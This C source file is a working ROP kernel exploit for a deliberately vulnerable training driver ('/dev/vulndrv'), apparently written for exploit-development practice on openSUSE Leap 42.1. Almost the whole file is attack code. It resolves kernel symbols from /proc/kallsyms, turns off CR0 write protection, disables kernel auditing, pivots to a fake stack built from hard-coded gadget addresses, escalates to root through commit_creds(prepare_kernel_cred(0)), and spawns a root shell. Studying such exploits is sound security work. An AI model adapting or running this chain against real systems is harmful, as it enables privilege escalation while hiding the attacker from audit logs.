/** * ROP exploit for drv.c kernel module * * Tested in openSUSE Leap 42.1 (x86_64): * Linux 4.1.27-27-default * Linux 4.1.31-30-default * Running in: qemu 2.5.0 / i7-4500U * * Compile: * gcc rop_exploit.c -O2 -o rop_exploit * * Email: andrey.arapov@nixaid.com * Andrey Arapov * * Based on Vitaly Nikolenko's work: * https://github.com/vnik5287/kernel_rop/ * * Additional thanks to spender! */ #define _GNU_SOURCE #include #include #include #include #include #include #include #include #include #include #include #include "drv.h" #define DEVICE_PATH "/dev/vulndrv" #define EFL_RESERVED1 (1 << 1) #define EFL_PARITY (1 << 2) #define EFL_ZEROFLAG (1 << 6) #define EFL_INTERRUPTENABLE (1 << 9) #define EFL_IOPL3 ((1 << 12) | (1 << 13)) #define USER_EFLAGS (EFL_RESERVED1 | EFL_PARITY | EFL_ZEROFLAG | EFL_INTERRUPTENABLE) /* for insta-iopl 3, for whatever reason! #define USER_EFLAGS (EFL_RESERVED1 | EFL_PARITY | EFL_ZEROFLAG | EFL_INTERRUPTENABLE | EFL_IOPL3) */ unsigned long user_cs; unsigned long user_ss; unsigned long user_rflags; typedef int __attribute__((regparm(3))) (* _commit_creds)(unsigned long cred); typedef unsigned long __attribute__((regparm(3))) (* _prepare_kernel_cred)(unsigned long cred); _commit_creds commit_creds; _prepare_kernel_cred prepare_kernel_cred; int *audit_enabled; char *exit_stack; static void get_segment_descriptors(void) { #ifdef __x86_64__ asm volatile ( "movq %%cs, %0 ;" "movq %%ss, %1 ;" "pushfq\n" "popq %2\n" : "=r" (user_cs), "=r" (user_ss), "=r" (user_rflags) : : "memory" ); #else asm volatile ( "push %%cs ;" "pop %0 ;" "push %%ss ;" "pop %1 ;" : "=r" (user_cs), "=r" (user_ss) : : "memory" ); #endif } void shell(void) { if(!getuid()) system("/bin/sh"); exit(0); } int __attribute__((regparm(3))) get_root() { commit_creds(prepare_kernel_cred(0)); return -1; } /* greets to qaaz */ static void exit_kernel(void) { #ifdef __x86_64__ asm volatile ( "swapgs ;" "movq %0, 0x20(%%rsp) ;" "movq %1, 0x18(%%rsp) ;" "movq %2, 0x10(%%rsp) ;" "movq %3, 0x08(%%rsp) ;" "movq %4, 0x00(%%rsp) ;" "iretq" : : "r" (user_ss), "r" (exit_stack + (1024 * 1024) - 0x80), "r" (user_rflags), // "i" (USER_EFLAGS), "r" (user_cs), "r" (shell) ); #else asm volatile ( "movl %0, 0x10(%%esp) ;" "movl %1, 0x0c(%%esp) ;" "movl %2, 0x08(%%esp) ;" "movl %3, 0x04(%%esp) ;" "movl %4, 0x00(%%esp) ;" "iret" : : "r" (user_ss), "r" (exit_stack + (1024 * 1024) - 0x80), "r" (user_rflags), // "i" (USER_EFLAGS), "r" (user_cs), "r" (shell) ); #endif } unsigned long inline get_cr0(void) { unsigned long _cr0; asm volatile ( "mov %%cr0, %0" : "=r" (_cr0) ); return _cr0; } void inline set_cr0(unsigned long _cr0) { asm volatile ( "mov %0, %%cr0" : : "r" (_cr0) ); } int inline turn_off_wp(void) { unsigned long _cr0; _cr0 = get_cr0(); _cr0 &= ~0x10000; set_cr0(_cr0); return 1; } void inline turn_on_wp(void) { unsigned long _cr0; _cr0 = get_cr0(); _cr0 |= 0x10000; set_cr0(_cr0); } int __attribute__((regparm(3))) disable_audit() { if (audit_enabled) *audit_enabled = 0; return; } int __attribute__((regparm(3))) enable_audit() { if (!audit_enabled == 1) *audit_enabled = 1; return; } static unsigned long get_kernel_sym(char *name) { FILE *f; unsigned long addr; char dummy; char sname[512]; struct utsname ver; int ret; int rep = 0; int oldstyle = 0; f = fopen("/proc/kallsyms", "r"); if (f == NULL) { f = fopen("/proc/ksyms", "r"); if (f == NULL) goto fallback; oldstyle = 1; } repeat: ret = 0; while(ret != EOF) { if (!oldstyle) ret = fscanf(f, "%p %c %s\n", (void **)&addr, &dummy, sname); else { ret = fscanf(f, "%p %s\n", (void **)&addr, sname); if (ret == 2) { char *p; if (strstr(sname, "_O/") || strstr(sname, "_S.")) continue; p = strrchr(sname, '_'); if (p > ((char *)sname + 5) && !strncmp(p - 3, "smp", 3)) { p = p - 4; while (p > (char *)sname && *(p - 1) == '_') p--; *p = '\0'; } } } if (ret == 0) { fscanf(f, "%s\n", sname); continue; } if (!strcmp(name, sname)) { fprintf(stdout, " [+] Resolved %s to %p%s\n", name, (void *)addr, rep ? " (via System.map)" : ""); fclose(f); return addr; } } fclose(f); if (rep) return 0; fallback: /* didn't find the symbol, let's retry with the System.map dedicated to the pointlessness of Russell Coker's SELinux test machine (why does he keep upgrading the kernel if "all necessary security can be provided by SE Linux"?) */ uname(&ver); if (strncmp(ver.release, "2.6", 3)) oldstyle = 1; sprintf(sname, "/boot/System.map-%s", ver.release); f = fopen(sname, "r"); if (f == NULL) return 0; rep = 1; goto repeat; } void usage(char *bin_name) { fprintf(stderr, "%s array_offset_decimal array_base_address_hex\n", bin_name); } int main(int argc, char *argv[]) { int fd; struct drv_req req; void *mapped, *temp_stack; unsigned long base_addr, stack_addr, mmap_addr, *fake_stack; if (argc != 3) { usage(argv[0]); return -1; } audit_enabled = (int *)get_kernel_sym("audit_enabled"); // commit_creds = (_commit_creds) 0xffffffff810887a0UL; // prepare_kernel_cred = (_prepare_kernel_cred) 0xffffffff81088a80UL; commit_creds = (_commit_creds)get_kernel_sym("commit_creds"); prepare_kernel_cred = (_prepare_kernel_cred)get_kernel_sym("prepare_kernel_cred"); if (commit_creds == NULL || prepare_kernel_cred == NULL) return -1; /* * req.offset * when xchg_esp_eax_ret_N_rop_gadget % 8 == 0, * req.offset = ( (1 << 64) + ((xchg_esp_eax_ret_N_rop_gadget - base_addr)/8) ) */ req.offset = strtoul(argv[1], NULL, 10); base_addr = strtoul(argv[2], NULL, 16); // address of ops driver structure printf("array base address = 0x%lx\n", base_addr); stack_addr = (base_addr + (req.offset * 8)) & 0xffffffff; fprintf(stdout, "stack address = 0x%lx\n", stack_addr); /* * allocate space in memory where the fake_stack will be stored. */ mmap_addr = stack_addr & 0xffff0000; // clear last 4 hex's mapped = mmap((void*)mmap_addr, 0x20000, PROT_EXEC|PROT_READ|PROT_WRITE, MAP_FIXED|MAP_PRIVATE|MAP_ANONYMOUS, 0, 0); assert(mapped == (void*)mmap_addr); temp_stack = mmap((void*)0x30000000, 0x10000000, PROT_EXEC|PROT_READ|PROT_WRITE, MAP_FIXED|MAP_PRIVATE|MAP_ANONYMOUS, 0, 0); assert(temp_stack == (void*)0x30000000); // save state get_segment_descriptors(); exit_stack = (char *)calloc(1, 1024 * 1024); if (exit_stack == NULL) { fprintf(stdout, "Unable to alloc exit_stack\n"); exit(1); } // fake_stack begins here fake_stack = (unsigned long *)(stack_addr); *fake_stack ++= 0xffffffff81004e8fUL; // nop ; ret /* * Making sure that in reality 0x314c is 0x314c: * $ grep 0x14ff $(uname -r).gadgets * 0xffffffff81034898 : xchg eax, esp ; ret 0x314c * * $ sudo gdb /boot/vmlinuz-$(uname -r) /proc/kcore * (gdb) x/2i 0xffffffff81034898 * 0xffffffff81034898: xchg %eax,%esp * 0xffffffff81034899: retq $0x314c * */ // Update fake_stack's pointer fake_stack = (unsigned long *)(stack_addr + 0x314c + 8); /* * To switch our process's owner to root, it is enough to execute: * commit_creds(prepare_kernel_cred(0)) syscalls * rdx(rax(0)) * * Not sure why, but it fails when using bare ROP, * so I will use a function pointer. */ *fake_stack ++= (unsigned long)turn_off_wp; *fake_stack ++= (unsigned long)disable_audit; *fake_stack ++= (unsigned long)get_root; // *fake_stack ++= 0xffffffff81000a9bUL; // pop %rdi; ret // *fake_stack ++= 0x0UL; // rdi is NULL // *fake_stack ++= 0xffffffff81088a80UL; // prepare_kernel_cred() and $rax points to cred struct // *fake_stack ++= 0xffffffff81013926UL; // pop %rdx; ret // //// *fake_stack ++= 0xffffffff810887a0UL; // commit_creds() // // *fake_stack ++= 0xffffffff810887a5UL; // commit_creds() + 1 instruction // *fake_stack ++= 0xffffffff81004e8fUL; // nop ; ret // *fake_stack ++= 0xffffffff810fdf41UL; // mov rdi, rax; call rdx => calls commit_creds(prepare_kernel_cred(0)) *fake_stack ++= (unsigned long)turn_on_wp; // *fake_stack ++= (unsigned long)enable_audit; /* * safely return to user-space from the kernel-space * you can use exit_kernel function or a bare ROP available below. */ // *fake_stack ++= (void *)&exit_kernel; *fake_stack ++= (unsigned long)exit_kernel; // safely return to user-space from the kernel-space // *fake_stack ++= 0xffffffff8104dc20UL; // swapgs ; ret // *fake_stack ++= 0xffffffff816667e7UL; // iretq // *fake_stack ++= (unsigned long)shell; // spawn a shell // *fake_stack ++= user_cs; // saved CS // *fake_stack ++= user_rflags; // saved EFLAGS // *fake_stack ++= (unsigned long)(temp_stack+0x5000000); // mmaped stack region in user space // *fake_stack ++= user_ss; // saved SS fd = open(DEVICE_PATH, O_RDONLY); if (fd == -1) { perror("open"); } /* * trigger the vulnerable Linux kernel driver now, * pointing to our fake_stack */ ioctl(fd, 0, &req); return 0; } // vim: set list noexpandtab tabstop=4 shiftwidth=4 softtabstop=4